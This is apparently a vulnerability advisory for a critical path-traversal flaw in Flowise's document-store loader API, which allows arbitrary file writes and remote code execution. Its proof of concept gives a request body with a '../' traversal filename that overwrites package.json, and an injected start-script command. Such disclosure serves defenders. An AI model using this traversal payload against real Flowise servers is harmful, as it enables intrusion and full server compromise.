PT-2025-11310 · Npm · Flowise

Published

2025-03-14

·

Updated

2025-03-14

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API. An attacker can reach RCE(Remote Code Execution) via file writing.

Details

All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
  • addBase64FilesToStorage
  • addArrayFilesToStorage
  • addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
javascript
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
Therefore, users can move to the parent folder via ../ and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.

PoC

In PoC, package.json is overwritten. This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.
- original start command
"start": "run-script-os",
- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",
When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.

1. package.json content base64 encoding

json
{
  "name": "flowise",
  "version": "1.8.2",
  "private": true,
  "homepage": "https://flowiseai.com",
  "workspaces": [
    "packages/*",
    "flowise",
    "ui",
    "components"
  ],
  "scripts": {
    "build": "turbo run build && echo poc",
    "build-force": "pnpm clean && turbo run build --force",
    "dev": "turbo run dev --parallel",
    "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
    "start:windows": "cd packages/server/bin && run start",
    "start:default": "cd packages/server/bin && ./run start",
    "clean": "pnpm --filter "./packages/**" clean",
    "nuke": "pnpm --filter "./packages/**" nuke && rimraf node modules .turbo",
    "format": "prettier --write "**/*.{ts,tsx,md}"",
    "lint": "eslint "**/*.{js,jsx,ts,tsx,json,md}"",
    "lint-fix": "pnpm lint --fix",
    "quick": "pretty-quick --staged",
    "postinstall": "husky install",
    "migration:create": "pnpm typeorm migration:create"
  }, ... skip

2. Overwrite package.json via /api/v1/document-store/loader/process

image
Request Body
json
{
  "loaderId": "textFile",
  "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
  "loaderName": "Text File",
  "loaderConfig": {
    "txtFile": "data:text/plain;BASE64 ENCODEING CONTENT,filename:/../../../../../usr/src/package.json",
    "textSplitter": "",
    "metadata": "",
    "omitMetadataKeys": ""
  }
}
The part after filename: of the txtFile parameter is the value used as fileName in the function. Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.
image
Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)
- starting server with touch /tmp/pyozzi-poc command image
- /tmp/pyozzi-poc file created image

Impact

Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.

Fix

Code Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-8VVX-QVQ9-5948

Affected Products

Flowise